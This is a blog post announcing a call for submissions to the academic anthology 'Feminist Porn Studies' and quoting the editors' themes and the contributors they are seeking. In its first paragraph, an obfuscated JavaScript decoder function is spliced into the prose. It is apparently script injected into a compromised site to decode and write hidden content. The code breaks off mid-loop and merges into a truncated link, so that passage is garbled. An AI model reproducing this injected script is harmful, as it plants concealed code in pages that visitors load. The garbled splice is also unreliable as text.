Feminist Porn Studies: Seeking Pornography Essays From Women

The deadline to submit for the upcoming book Feminist Porn Studies is next April 2011, but this seems like a good time to get thinking about what you might want to submit. function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandmedia.ucsb.edu/people/faculty/professors/penley/penley.html”>Constance Penley, Celine Parreñas Shimizu and Tristan Taormino are putting together a book about women and porn, and they want your voice -- they're seeking submissions for the book. It's going to be a really exciting book whose time is definitely now, as they plan on addressing the real state of women and porn. Women in porn, women who watch it, women who make it, and much more.

Feminist Porn Studies: Writing by Academics and Sex Industry Workers

A new generation of women in the porn industry openly identify as feminist and own their own companies, direct and produce their own material, and/or take on politicized identities as sex worker performers. In addition to “porn for women,” a new wave of porn genres emerges today including alt porn, feminist porn, queer porn, amateur porn, and genderqueer and transgender porn.

Given the transformations of feminism, sexual politics, pornography and popular culture over the last decade or more, our book, Feminist Porn Studies, moves past the pro/anti porn debate to address multiple productive questions:  Does feminist porn exist? What does it look like? What does it mean to be a feminist/woman who performs in, makes, distributes, and/or consumes porn? Are women and feminists working within or against the status quo? How have representations of the female body, gender, and sexuality shifted as a result of feminists and women making porn? How are marginalized women—including women of color, queer and trans women, disabled women, lower and working class women, fat women, and older women—imagined, represented, or treated in feminist or non feminist pornography? How do sex workers address misogyny, racism, and inequality in a predominantly white, male-dominated industry? How do women create new languages and practices that account for the complex politics of pleasure and power in pornography?

(...) we’d like to explore the intersections between feminism, pornography, and sex work. We’d also like to respond to the recent resurgence of anti-pornography feminist scholarship in texts by Sheila Jeffries, Gail Dines, Karen Boyle, Pamela Paul, and Robert Jensen, anti-porn conferences, and films like Chyng Sun’s The Price of Pleasure and Jane Caputi’s The Pornography of Everyday Life. There has not been an adequate response to this tremendous production by anti-porn feminists. It’s time we hear from anti-censorship, sex positive, liberal, and sex worker feminist voices.

We seek essays by academics from different disciplines including feminist studies, gender and sexuality studies, ethnic studies, film and media studies, sociology, history, cultural critics, activists, as well as people who work/ed in the adult entertainment industry performers, producers, directors, company owners, especially those who identify as feminists. Here are some of the themes we hope submissions will address (...)

Get the details at Feminist Porn Studies.

Image by Hannah J.